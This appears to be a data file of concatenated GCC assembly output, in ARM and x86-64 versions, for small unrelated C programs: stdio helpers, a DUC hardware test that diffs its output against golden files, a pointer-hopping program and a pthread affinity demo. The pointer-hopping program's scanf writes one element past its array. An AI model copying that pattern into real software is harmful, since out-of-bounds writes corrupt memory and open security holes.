mov r3, r0
.L4:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size getc, .-getc
.align 2
.global putc
.syntax unified
.arm
.fpu softvfp
.type putc, %function
putc:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-12]
ldr r3, [r3, #4]
sub r2, r3, #1
ldr r3, [fp, #-12]
str r2, [r3, #4]
ldr r3, [fp, #-12]
ldr r3, [r3, #4]
cmp r3, #0
blt .L6
ldr r3, [fp, #-12]
ldr r3, [r3]
add r1, r3, #1
ldr r2, [fp, #-12]
str r1, [r2]
ldr r2, [fp, #-8]
and r2, r2, #255
strb r2, [r3]
ldrb r3, [r3] @ zero_extendqisi2
b .L8
.L6:
ldr r1, [fp, #-12]
ldr r0, [fp, #-8]
bl _flsbuf
mov r3, r0
.L8:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size putc, .-putc
.align 2
.global getchar
.syntax unified
.arm
.fpu softvfp
.type getchar, %function
getchar:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r3, .L13
ldr r3, [r3, #4]
sub r3, r3, #1
ldr r2, .L13
str r3, [r2, #4]
ldr r3, .L13
ldr r3, [r3, #4]
cmp r3, #0
blt .L10
ldr r3, .L13
ldr r3, [r3]
add r2, r3, #1
ldr r1, .L13
str r2, [r1]
ldrb r3, [r3] @ zero_extendqisi2
b .L12
.L10:
ldr r0, .L13
bl _filbuf
mov r3, r0
.L12:
mov r0, r3
pop {fp, pc}
.L14:
.align 2
.L13:
.word _iob
.size getchar, .-getchar
.align 2
.global putchar
.syntax unified
.arm
.fpu softvfp
.type putchar, %function
putchar:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, .L19
ldr r3, [r3, #36]
sub r3, r3, #1
ldr r2, .L19
str r3, [r2, #36]
ldr r3, .L19
ldr r3, [r3, #36]
cmp r3, #0
blt .L16
ldr r3, .L19
ldr r3, [r3, #32]
add r2, r3, #1
ldr r1, .L19
str r2, [r1, #32]
ldr r2, [fp, #-8]
and r2, r2, #255
strb r2, [r3]
ldrb r3, [r3] @ zero_extendqisi2
b .L18
.L16:
ldr r1, .L19+4
ldr r0, [fp, #-8]
bl _flsbuf
mov r3, r0
.L18:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L20:
.align 2
.L19:
.word _iob
.word _iob+32
.size putchar, .-putchar
.align 2
.global fopen64
.syntax unified
.arm
.fpu softvfp
.type fopen64, %function
fopen64:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, [fp, #-8]
bl fopen
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fopen64, .-fopen64
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global ftello64
.syntax unified
.arm
.fpu softvfp
.type ftello64, %function
ftello64:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
ldr r3, .L28
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #20
mov r1, r3
ldr r0, [fp, #-24]
bl fgetpos
mov r3, r0
cmp r3, #0
beq .L24
mvn r2, #0
mvn r3, #0
b .L26
.L24:
sub r3, fp, #20
ldmia r3, {r2-r3}
.L26:
ldr r1, .L28
ldr r0, [r1]
ldr r1, [fp, #-8]
eors r0, r1, r0
mov r1, #0
beq .L27
bl __stack_chk_fail
.L27:
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L29:
.align 2
.L28:
.word .LC0
.size ftello64, .-ftello64
.section .rodata
.align 2
.LC1:
.ascii "w\000"
.align 2
.LC2:
.ascii "duc_i.dat\000"
.align 2
.LC3:
.ascii "duc_q.dat\000"
.align 2
.LC4:
.ascii "%i %d %d\012\000"
.align 2
.LC5:
.ascii "diff --brief -w duc_i.dat golden/duc_i.dat\000"
.align 2
.LC6:
.ascii "diff --brief -w duc_q.dat golden/duc_q.dat\000"
.align 2
.LC7:
.ascii "\012 *** DUC hardware test FAILED ! *** \012\000"
.align 2
.LC8:
.ascii "\012 *** DUC hardware test PASSED ! *** \012\000"
.align 2
.LC9:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 320
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #328
ldr r3, .L51
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #33
str r3, [fp, #-304]
ldr r1, .L51+4
ldr r0, .L51+8
bl fopen
str r0, [fp, #-300]
ldr r1, .L51+4
ldr r0, .L51+12
bl fopen
str r0, [fp, #-296]
mov r3, #0
str r3, [fp, #-320]
mov r3, #0
str r3, [fp, #-292]
mov r3, #0
str r3, [fp, #-312]
b .L31
.L34:
ldr r3, [fp, #-312]
cmp r3, #47
bgt .L32
sub r3, fp, #268
sub r2, fp, #272
ldr r1, .L51+16
ldr r0, [fp, #-320]
bl duc
b .L33
.L32:
sub r3, fp, #268
sub r2, fp, #272
ldr r1, .L51+16
ldr r0, [fp, #-292]
bl duc
.L33:
ldr r3, [fp, #-312]
add r3, r3, #1
str r3, [fp, #-312]
.L31:
ldr r3, [fp, #-312]
cmp r3, #95
ble .L34
mov r3, #0
str r3, [fp, #-316]
b .L35
.L46:
ldr r3, [fp, #-316]
cmp r3, #0
bne .L36
mov r3, #131072
str r3, [fp, #-320]
b .L37
.L36:
mov r3, #0
str r3, [fp, #-320]
.L37:
ldr r3, [fp, #-320]
rsb r3, r3, #0
str r3, [fp, #-292]
mvn r3, #0
str r3, [fp, #-308]
mov r3, #0
str r3, [fp, #-312]
b .L38
.L43:
ldr r3, [fp, #-312]
cmp r3, #47
ble .L39
ldr r1, [fp, #-312]
ldr r3, .L51+20
smull r0, r2, r3, r1
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
sub r2, r1, r3
cmp r2, #1
bgt .L39
ldr r3, [fp, #-308]
add r3, r3, #1
str r3, [fp, #-308]
.L39:
ldr r3, [fp, #-312]
cmp r3, #47
bgt .L40
sub r3, fp, #268
sub r2, fp, #272
ldr r1, .L51+16
ldr r0, [fp, #-320]
bl duc
b .L41
.L40:
sub r3, fp, #268
sub r2, fp, #272
ldr r1, .L51+16
ldr r0, [fp, #-292]
bl duc
.L41:
ldr r3, [fp, #-312]
cmp r3, #47
ble .L42
ldr r1, [fp, #-312]
ldr r3, .L51+20
smull r0, r2, r3, r1
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
sub r2, r1, r3
cmp r2, #1
bgt .L42
ldr r2, [fp, #-272]
ldr r3, [fp, #-308]
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-260]
ldr r2, [fp, #-268]
ldr r3, [fp, #-308]
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-132]
.L42:
ldr r3, [fp, #-312]
add r3, r3, #1
str r3, [fp, #-312]
.L38:
ldr r3, [fp, #-312]
cmp r3, #95
ble .L43
mov r3, #0
str r3, [fp, #-312]
b .L44
.L45:
ldr r3, [fp, #-312]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-260]
str r3, [fp, #-280]
ldr r3, [fp, #-320]
asr r2, r3, #17
ldr r3, [fp, #-280]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-316]
ldr r1, .L51+24
ldr r0, [fp, #-300]
bl fprintf
ldr r3, [fp, #-312]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-132]
str r3, [fp, #-276]
ldr r3, [fp, #-292]
asr r2, r3, #17
ldr r3, [fp, #-276]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-316]
ldr r1, .L51+24
ldr r0, [fp, #-296]
bl fprintf
ldr r3, [fp, #-312]
add r3, r3, #1
str r3, [fp, #-312]
.L44:
ldr r3, [fp, #-312]
cmp r3, #15
ble .L45
ldr r3, [fp, #-316]
add r3, r3, #1
str r3, [fp, #-316]
.L35:
ldr r2, [fp, #-316]
ldr r3, [fp, #-304]
cmp r2, r3
ble .L46
ldr r0, [fp, #-300]
bl fclose
ldr r0, [fp, #-296]
bl fclose
ldr r0, .L51+28
bl system
str r0, [fp, #-288]
ldr r0, .L51+32
bl system
str r0, [fp, #-284]
ldr r2, [fp, #-288]
ldr r3, [fp, #-284]
orr r3, r2, r3
cmp r3, #0
beq .L47
ldr r0, .L51+36
bl puts
b .L48
.L47:
ldr r0, .L51+40
bl puts
.L48:
ldr r2, [fp, #-288]
ldr r3, [fp, #-284]
orr r3, r2, r3
cmp r3, #0
movne r3, #1
moveq r3, #0
and r3, r3, #255
ldr r2, .L51
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L50
bl __stack_chk_fail
.L50:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L52:
.align 2
.L51:
.word .LC9
.word .LC1
.word .LC2
.word .LC3
.word 6628
.word 715827883
.word .LC4
.word .LC5
.word .LC6
.word .LC7
.word .LC8
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "285309.c"
.intel_syntax noprefix
.text
.globl hop
.type hop, @function
hop:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -8[rbp]
add rax, rdx
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size hop, .-hop
.globl is_in_bound
.type is_in_bound, @function
is_in_bound:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
mov QWORD PTR -24[rbp], rdx
mov rax, QWORD PTR -24[rbp]
cmp rax, QWORD PTR -8[rbp]
ja .L4
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -8[rbp]
add rax, rdx
cmp QWORD PTR -24[rbp], rax
ja .L4
mov eax, 1
jmp .L6
.L4:
mov eax, 0
.L6:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size is_in_bound, .-is_in_bound
.section .rodata
.LC0:
.string "%d"
.LC1:
.string "%d\n%d"
.text
.globl main
.type main, @function
main:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 56
.cfi_offset 3, -24
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
mov DWORD PTR -52[rbp], 50
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -48[rbp], rdx
movsx rdx, eax
mov r8, rdx
mov r9d, 0
movsx rdx, eax
mov rsi, rdx
mov edi, 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L8:
cmp rsp, rdx
je .L9
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L8
.L9:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L10
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L10:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -40[rbp], rax
mov DWORD PTR -56[rbp], 0
mov DWORD PTR -60[rbp], 0
mov DWORD PTR -64[rbp], 1
jmp .L11
.L12:
add DWORD PTR -56[rbp], 1
.L11:
mov eax, DWORD PTR -52[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
cmp eax, -1
jne .L12
mov eax, DWORD PTR -56[rbp]
cmp eax, DWORD PTR -52[rbp]
jge .L12
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR -32[rbp], rax
jmp .L13
.L16:
mov rdx, QWORD PTR -32[rbp]
mov ecx, DWORD PTR -52[rbp]
mov rax, QWORD PTR -40[rbp]
mov esi, ecx
mov rdi, rax
call is_in_bound
test eax, eax
je .L14
cmp DWORD PTR -60[rbp], 50
jg .L15
mov rax, QWORD PTR -32[rbp]
mov rdi, rax
call hop
add DWORD PTR -60[rbp], 1
jmp .L13
.L15:
mov DWORD PTR -64[rbp], 0
jmp .L13
.L14:
mov DWORD PTR -64[rbp], 0
.L13:
cmp QWORD PTR -32[rbp], 0
jne .L16
mov edx, DWORD PTR -60[rbp]
mov eax, DWORD PTR -64[rbp]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov rsp, rbx
mov eax, 0
mov rbx, QWORD PTR -24[rbp]
sub rbx, QWORD PTR fs:40
je .L18
call __stack_chk_fail@PLT
.L18:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "285309.c"
.text
.align 2
.global hop
.syntax unified
.arm
.fpu softvfp
.type hop, %function
hop:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
ldr r3, [r3]
lsl r3, r3, #2
ldr r2, [fp, #-8]
add r3, r2, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size hop, .-hop
.align 2
.global is_in_bound
.syntax unified
.arm
.fpu softvfp
.type is_in_bound, %function
is_in_bound:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-8]
str r1, [fp, #-12]
str r2, [fp, #-16]
ldr r2, [fp, #-16]
ldr r3, [fp, #-8]
cmp r2, r3
bhi .L4
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-8]
add r3, r2, r3
ldr r2, [fp, #-16]
cmp r2, r3
bhi .L4
mov r3, #1
b .L6
.L4:
mov r3, #0
.L6:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size is_in_bound, .-is_in_bound
.section .rodata
.align 2
.LC0:
.ascii "%d\000"
.align 2
.LC1:
.ascii "%d\012%d\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #36
ldr r3, .L16
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
mov r3, #50
str r3, [fp, #-32]
ldr ip, [fp, #-32]
sub r3, ip, #1
str r3, [fp, #-28]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-40]
mov r3, #1
str r3, [fp, #-44]
b .L8
.L9:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L8:
ldr r3, [fp, #-32]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
mov r1, r3
ldr r0, .L16+4
bl __isoc99_scanf
mov r3, r0
cmn r3, #1
bne .L9
ldr r2, [fp, #-36]
ldr r3, [fp, #-32]
cmp r2, r3
bge .L9
ldr r3, [fp, #-24]
str r3, [fp, #-20]
b .L10
.L13:
ldr r2, [fp, #-20]
ldr r1, [fp, #-32]
ldr r0, [fp, #-24]
bl is_in_bound
mov r3, r0
cmp r3, #0
beq .L11
ldr r3, [fp, #-40]
cmp r3, #50
bgt .L12
ldr r0, [fp, #-20]
bl hop
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
b .L10
.L12:
mov r3, #0
str r3, [fp, #-44]
b .L10
.L11:
mov r3, #0
str r3, [fp, #-44]
.L10:
ldr r3, [fp, #-20]
cmp r3, #0
bne .L13
ldr r2, [fp, #-40]
ldr r1, [fp, #-44]
ldr r0, .L16+8
bl printf
mov sp, r4
mov r3, #0
ldr r2, .L16
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L15
bl __stack_chk_fail
.L15:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L17:
.align 2
.L16:
.word .LC2
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "604425.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "604425.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "973708.c"
.intel_syntax noprefix
.text
.globl perror_exit
.type perror_exit, @function
perror_exit:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call perror@PLT
mov edi, 1
call exit@PLT
.cfi_endproc
.LFE6:
.size perror_exit, .-perror_exit
.section .rodata
.LC0:
.string "malloc failed"
.text
.globl check_malloc
.type check_malloc, @function
check_malloc:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov eax, DWORD PTR -20[rbp]
cdqe
mov rdi, rax
call malloc@PLT
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
jne .L3
lea rdi, .LC0[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L3:
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size check_malloc, .-check_malloc
.section .rodata
.LC1:
.string "make_mutex failed"
.text
.globl make_mutex
.type make_mutex, @function
make_mutex:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov edi, 40
call check_malloc
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov esi, 0
mov rdi, rax
call pthread_mutex_init@PLT
mov DWORD PTR -12[rbp], eax
cmp DWORD PTR -12[rbp], 0
je .L6
lea rdi, .LC1[rip]
call perror_exit
.L6:
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size make_mutex, .-make_mutex
.section .rodata
.LC2:
.string "mutex_lock failed"
.text
.globl mutex_lock
.type mutex_lock, @function
mutex_lock:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov rdi, rax
call pthread_mutex_lock@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
je .L10
lea rdi, .LC2[rip]
call perror_exit
.L10:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size mutex_lock, .-mutex_lock
.section .rodata
.LC3:
.string "mutex_unlock failed"
.text
.globl mutex_unlock
.type mutex_unlock, @function
mutex_unlock:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov rdi, rax
call pthread_mutex_unlock@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
je .L13
lea rdi, .LC3[rip]
call perror_exit
.L13:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size mutex_unlock, .-mutex_unlock
.section .rodata
.LC4:
.string "pthread_create failed"
.text
.globl make_thread
.type make_thread, @function
make_thread:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rcx, QWORD PTR -48[rbp]
mov rdx, QWORD PTR -40[rbp]
lea rax, -16[rbp]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
mov DWORD PTR -20[rbp], eax
cmp DWORD PTR -20[rbp], 0
je .L15
lea rdi, .LC4[rip]
call perror@PLT
mov edi, 0
call exit@PLT
.L15:
mov rax, QWORD PTR -16[rbp]
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L17
call __stack_chk_fail@PLT
.L17:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size make_thread, .-make_thread
.globl make_shared
.type make_shared, @function
make_shared:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov edi, 16
call check_malloc
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR -20[rbp]
mov DWORD PTR [rax], edx
mov eax, 0
call make_mutex
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rdx], rax
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size make_shared, .-make_shared
.section .rodata
.LC5:
.string "counter = %d \n"
.text
.globl child_code
.type child_code, @function
child_code:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdi, rax
call mutex_lock
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
lea edx, 1[rax]
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdi, rax
call mutex_unlock
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size child_code, .-child_code
.section .rodata
.LC6:
.string "system has %d processor(s)\n"
.LC7:
.string "set thread affinity failed\n"
.LC8:
.string "get thread affinity failed\n"
.align 8
.LC9:
.string "thread %d is running in processor %d\n"
.text
.globl myfun
.type myfun, @function
myfun:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 576
mov QWORD PTR -568[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov edi, 83
call sysconf@PLT
mov DWORD PTR -548[rbp], eax
mov eax, DWORD PTR -548[rbp]
mov esi, eax
lea rdi, .LC6[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -556[rbp], 0
jmp .L22
.L34:
lea rax, -528[rbp]
mov rsi, rax
mov eax, 0
mov edx, 16
mov rdi, rsi
mov rcx, rdx
rep stosq
mov eax, DWORD PTR -556[rbp]
cdqe
mov QWORD PTR -544[rbp], rax
cmp QWORD PTR -544[rbp], 1023
ja .L24
mov rax, QWORD PTR -544[rbp]
shr rax, 6
lea rdx, 0[0+rax*8]
lea rcx, -528[rbp]
add rdx, rcx
mov rsi, QWORD PTR [rdx]
mov rdx, QWORD PTR -544[rbp]
and edx, 63
mov edi, 1
mov ecx, edx
sal rdi, cl
mov rdx, rdi
lea rcx, 0[0+rax*8]
lea rax, -528[rbp]
add rax, rcx
or rdx, rsi
mov QWORD PTR [rax], rdx
.L24:
call pthread_self@PLT
mov rcx, rax
lea rax, -528[rbp]
mov rdx, rax
mov esi, 128
mov rdi, rcx
call pthread_setaffinity_np@PLT
test eax, eax
jns .L25
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 27
mov esi, 1
lea rdi, .LC7[rip]
call fwrite@PLT
.L25:
lea rax, -400[rbp]
mov rsi, rax
mov eax, 0
mov edx, 16
mov rdi, rsi
mov rcx, rdx
rep stosq
call pthread_self@PLT
mov rcx, rax
lea rax, -400[rbp]
mov rdx, rax
mov esi, 128
mov rdi, rcx
call pthread_getaffinity_np@PLT
test eax, eax
jns .L26
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 27
mov esi, 1
lea rdi, .LC8[rip]
call fwrite@PLT
.L26:
mov DWORD PTR -552[rbp], 0
jmp .L27
.L31:
mov eax, DWORD PTR -552[rbp]
cdqe
mov QWORD PTR -536[rbp], rax
cmp QWORD PTR -536[rbp], 1023
ja .L28
mov rax, QWORD PTR -536[rbp]
shr rax, 6
lea rdx, 0[0+rax*8]
lea rax, -400[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -536[rbp]
and eax, 63
mov ecx, eax
shr rdx, cl
mov rax, rdx
and eax, 1
test rax, rax
je .L28
mov eax, 1
jmp .L29
.L28:
mov eax, 0
.L29:
test eax, eax
je .L30
call pthread_self@PLT
mov ecx, eax
mov eax, DWORD PTR -552[rbp]
mov edx, eax
mov esi, ecx
lea rdi, .LC9[rip]
mov eax, 0
call printf@PLT
.L30:
add DWORD PTR -552[rbp], 1
.L27:
mov eax, DWORD PTR -552[rbp]
cmp eax, DWORD PTR -548[rbp]
jl .L31
mov DWORD PTR -552[rbp], 0
jmp .L32
.L33:
lea rax, -272[rbp]
mov edx, 256
mov esi, 0
mov rdi, rax
call memset@PLT
.L32:
mov eax, DWORD PTR -552[rbp]
lea edx, 1[rax]
mov DWORD PTR -552[rbp], edx
cmp eax, 99999999
jle .L33
add DWORD PTR -556[rbp], 1
.L22:
mov eax, DWORD PTR -556[rbp]
cmp eax, DWORD PTR -548[rbp]
